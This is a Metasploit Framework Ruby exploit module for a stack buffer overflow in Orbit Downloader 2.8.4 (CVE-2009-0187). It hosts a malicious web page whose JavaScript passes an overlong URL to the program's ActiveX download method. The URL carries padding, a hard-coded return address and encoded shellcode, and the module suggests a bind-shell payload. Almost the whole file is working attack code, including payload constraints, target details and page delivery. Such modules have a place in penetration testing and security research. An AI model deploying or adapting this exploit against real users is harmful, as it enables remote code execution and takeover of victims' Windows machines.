### $Id: orbit_connecting.rb 9262 2010-05-09 17:45:00Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,'Name' => 'Orbit Downloader Connecting Log Creation Buffer Overflow','Description'=> %q{
This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an
attacker serves up a malicious web site, abritrary code may be executed.
The PAYLOAD windows/shell_bind_tcp works best.},'License'=> MSF_LICENSE,'Author' => ['MC'],'Version'=> '$Revision: 9262 $','References' =>
[['CVE','2009-0187'],['OSVDB','52294'],['BID','33894'],],'DefaultOptions' =>
{'EXITFUNC' => 'process',},'Payload'=>
{'Space' => 750,'BadChars'=> "\x00\x09\x0a\x0d'\\&",'StackAdjustment' => -3500,'PrependEncoder'=> "\x81\xc4\x54\xf2\xff\xff",'EncoderType' => Msf::Encoder::Type::AlphanumMixed,'DisableNops'=>'True',},'Platform' => 'win','Targets'=>
[['Windows XP SP0-SP3 / IE 6.0 SP0-SP2',{'Ret' => 0x1008dee3 }],# download.dll 2.7.0.6],'DisclosureDate' => 'Feb 3 2009','DefaultTarget'=> 0))end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)# Re-generate the payloadreturnif((p = regenerate_payload(cli)) == nil)# Randomize some things
vname = rand_text_alpha(rand(100)+ 1)
strname = rand_text_alpha(rand(100)+ 1)# Set the exploit buffer
sploit = "http://"+ rand_text_alpha(508)+[target.ret].pack('V')+ p.encoded +".com"# Build out the message
content = %Q|<html>
<object classid='clsid:3F1D494B-0CEF-4468-96C9-386E2E4DEC90' id='#{vname}'></object>
<script language='javascript'>
var#{vname} = document.getElementById('#{vname}');var#{strname} = new String('#{sploit}');#{vname}.download(#{strname}, #{vname}, #{vname}, #{vname}, 1);
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")# Transmit the response to the client
send_response_html(cli, content)# Handle the payload
handler(cli)endend